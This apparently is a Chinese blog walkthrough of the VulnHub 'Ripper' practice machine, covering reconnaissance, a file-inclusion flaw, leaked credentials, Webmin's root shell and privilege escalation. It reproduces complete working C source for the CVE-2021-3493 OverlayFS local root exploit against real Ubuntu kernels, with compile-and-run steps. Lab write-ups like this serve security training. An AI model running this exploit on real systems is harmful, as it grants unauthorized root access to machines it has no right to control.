Vulnhub打靶记录:ripper

相关信息


kali:10.0.0.9/24

靶机:10.0.0.21/24

靶机介绍:Ripper: 1 ~ VulnHub

靶机下载:https://download.vulnhub.com/ripper/Ripper.ova

目标:2flag + root权限

难度:低中难度

未提及的相关知识点,命令和代码等等可以查看我其他三个blog:

文字思路


全流程思路:

  • 主机发现
  • 端口扫描:重点关注1000这个端口上的webmin应用
  • 信息搜集
  • 内部系统泄露:就是一个内部代码审计的代码web应用泄露,使外界用户可以直接通过url访问
  • 代码审计
  • 备份文件泄露:直接获得一个用户密码,就可以登陆到靶机,然后在靶机中获取了webmin的登陆密码
  • 方法一:webmin漏洞利用,直接使用shell
  • 方法二:CVE-2021-3493:这个漏洞是可以直接使用完成提权的,不需要其他的任何操作

下意识的操作

  • 利用find命令查找特殊文件的时候,记得使用不同的用户重复执行,从而扩大搜索范围。
  • 目录爬取是需要对不同端口进行爬取的

主要的知识点

  • 如何利用find命令查找特殊文件,这是一个常规的但是很重要的思路
  • webmin这个web应用是可以自接管理shell

具体流程


信息搜集

  1. 扫描主机发现端口,发现22ssh是打开的,同时80端口也是打开web端口,10000打开的是Webmin网页应用端口。

    Snipaste_2023-07-25_08-13-49

  2. 访问靶机开放80端口,也不存在robots.txt,网页源代码等也是没有收获的。

    Snipaste_2023-07-25_08-14-39

  3. 访问靶机的10000端口可以发现提示该端口开放的是https协议,意味着需要利用https协议访问该端口。

    Snipaste_2023-07-25_08-15-30

  4. 不难发现在利用https登陆后,是一个webmin的相关登陆后台,进行弱密码尝试登陆也是无法成功的。

    Snipaste_2023-07-25_08-16-10

  5. 通过对不同端口的的目录爬取,可以发现在10000端口是存在roboots.txt文件的。访问后不难发现一个base64的密文。

    Snipaste_2023-07-25_08-17-46

    解密后是:we scan php codes with rips(我们使用rips来扫描php代码)。

    Snipaste_2023-07-25_08-18-26

    RIPS - free PHP security scanner using static code analysis (sourceforge.net)

    rips官网的网站,可以了解:就是一个静态审计 php代码的应用。

  6. 透过官网的提示可以发现rips这个应用是有一个ripsurl路径:

    Snipaste_2023-07-25_08-23-26

    通过访问靶机的rips后,尝试利用rips代码审计的功能。可以发现靶机网址是存在以下的代码漏洞和敏感文件:

    Snipaste_2023-07-25_08-24-00

    • 文件泄露:code.php是具有一个file的参数变量。通过url加入file变量,访问 code.php可以进行文件的包含,但是仅仅为一个文件包含漏洞无法进行代码执行。

      • Snipaste_2023-07-25_08-30-01

      • Snipaste_2023-07-25_08-32-16

    • 敏感文件:secret.php,可以发现其中有个非常非常敏感的用户信息:ripper:GamespeopleoplaySnipaste_2023-07-25_08-35-16

突破边界

  1. 通过信息搜集到的 ripper:Gamespeopleoplay,先尝试进行10000端口的后台登陆网页,但不成功。然后发现ssh:22端口就可以成功突破边界,进入靶机。

    Snipaste_2023-07-25_08-37-14

信息搜集

  1. 确认靶机自身的发行和内核版本,尝试找到已知的大型漏洞,很明显是符合CVE-2021-3493这个ubuntu高危漏洞的 。

    Snipaste_2023-07-25_08-37-57

提权方法1

  1. 直接通过nc的方式上载 CVE-2021-3493exp到靶机上,然后对exp进行编译,执行。但是会报错,需要按一下方式执行:

    wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
    # 下载靶机上可以用的链接库
    
    dpkg -x libc6_2.19-0ubuntu6_amd64.deb
    # 解压
    
    gcc exp.c -o exp ./lib/x86_64-linux-gun/libc.so.6
    # 编译exp
    
    3aeb95ec9d942b7f97c85db89ba62df
  2. 赋予编译后的exp执行权限,执行后就可以成功完成提权,查看flag,完成打靶。

    Snipaste_2023-07-25_08-59-29

提权方法2

  1. 查看主目录中的用户有:cubes,ripper,同时不难发现ripper用户是不具备sudo权限的。然后利用find命令查找与cubes用户有关的敏感文件,结果发现一个secret.file

    find / -user cubes -type f -exec ls -la {} \; 2>/dev/null
    # {}是一个占位符,它将被实际找到的文件名替代。
    # \;表示执行完ls命令后结束-exec选项
    

    在该文件中是有一个密码:Il00tpeople,通过这个密码可以直接有ripper用户切换为cubes用户。

    Snipaste_2023-07-25_09-41-45

  2. 通过cubes再次使用find命令进行查找,不难发现一个webmin的日志文件,在该文件中是webmin用户登陆会话的记录。

    find / -user cubes -type f -exec ls -la {} \; 2>/dev/null | grep -v "proc" | grep -v ".png" | grep -v "cgroup"
    # 后续的grep命令是过滤无效的文件
    

    image-20231013102054258

    明文中直接记载了一个用户:admin:tokiohotelSnipaste_2023-07-25_09-45-01

  3. 直接尝试利用获取的代码进行登陆,进入到后台

    Snipaste_2023-07-25_09-46-54

  4. 在后台的页面中others功能模块中是具有shell功能,而且该shell的身份直接是root身份,既完成打靶了。

    Snipaste_2023-07-25_09-50-36

    Snipaste_2023-07-25_09-50-50

相关payload


CVE-2021-3493

  1. CVE-2021-3493漏洞脚本。直接在靶机上执行就可以拿下rootshell 返回

    食用方法:编译成功后直接使用即可

    • 影响版本:Ubuntu 20.10,Ubuntu 20.04 LTS,Ubuntu 18.04 LTS, Ubuntu 16.04 LTS,Ubuntu 14.04 ESM (Linux内核版本 < 5.11)
    • gcc exploit.c -o exploit
    • ./exploit
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <err.h>
    #include <errno.h>
    #include <sched.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/wait.h>
    #include <sys/mount.h>
    int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
    #define DIR_BASE    "./ovlcap"
    #define DIR_WORK    DIR_BASE "/work"
    #define DIR_LOWER   DIR_BASE "/lower"
    #define DIR_UPPER   DIR_BASE "/upper"
    #define DIR_MERGE   DIR_BASE "/merge"
    #define BIN_MERGE   DIR_MERGE "/magic"
    #define BIN_UPPER   DIR_UPPER "/magic"
    static void xmkdir(const char *path, mode_t mode){
        if (mkdir(path, mode) == -1 && errno != EEXIST)err(1, "mkdir %s", path);}
    static void xwritefile(const char *path, const char *data){
        int fd = open(path, O_WRONLY);if (fd == -1)err(1, "open %s", path);ssize_t len = (ssize_t) strlen(data);
        if (write(fd, data, len) != len)err(1, "write %s", path);close(fd);}
    static void xcopyfile(const char *src, const char *dst, mode_t mode){
        int fi, fo;if ((fi = open(src, O_RDONLY)) == -1)err(1, "open %s", src);
        if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)err(1, "open %s", dst);
        char buf[4096];ssize_t rd, wr;
        for (;;) {rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {break;} else if (rd == -1) {if (errno == EINTR)continue;err(1, "read %s", src);}
        char *p = buf;while (rd > 0) {wr = write(fo, p, rd);if (wr == -1) {if (errno == EINTR)continue;
        err(1, "write %s", dst);}p += wr;rd -= wr;}}close(fi);close(fo);}
    static int exploit(){
        char buf[4096];sprintf(buf, "rm -rf '%s/'", DIR_BASE);system(buf);
        xmkdir(DIR_BASE, 0777);xmkdir(DIR_WORK,  0777);xmkdir(DIR_LOWER, 0777);
        xmkdir(DIR_UPPER, 0777);xmkdir(DIR_MERGE, 0777);uid_t uid = getuid();gid_t gid = getgid();
    	if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)err(1, "unshare");
        xwritefile("/proc/self/setgroups", "deny");sprintf(buf, "0 %d 1", uid);
        xwritefile("/proc/self/uid_map", buf);sprintf(buf, "0 %d 1", gid);xwritefile("/proc/self/gid_map", buf);
    	sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
        if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)err(1, "mount %s", DIR_MERGE);
        char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
        xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
        if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
            err(1, "setxattr %s", BIN_MERGE);return 0;}
    int main(int argc, char *argv[]){
        if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {setuid(0);
            setgid(0);execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
            err(1, "execl /bin/bash");}
    	pid_t child = fork();if (child == -1)err(1, "fork");
    	if (child == 0) {_exit(exploit());} else {waitpid(child, NULL, 0);
        }execl(BIN_UPPER, BIN_UPPER, "shell", NULL);err(1, "execl %s", BIN_UPPER);}
    

复盘/相关知识


复盘

  1. 其实这个靶机的难度并不是特别的,尤其是直接使用CVE-2021-3493这个漏洞就可以完成打靶,但是这个并不是这个靶机的常规思路。
  2. 这个靶机中的用户,密码都是写在对应的文件中的,这个就非常考验我们查找文件和信息的能力。

重要

什么是Webmin

  1. what?

    Webmin是一个用于管理Linux和Unix系统的开源Web应用程序。它提供了一个Web界面,允许系统管理员通过浏览器进行系统管理和配置,而无需深入了解命令行操作。Webmin的主要目标是简化系统管理任务,使其更加可访问和用户友好。

posted @ 2023-10-16 10:23  C_CHL  阅读(22)  评论(0编辑  收藏  举报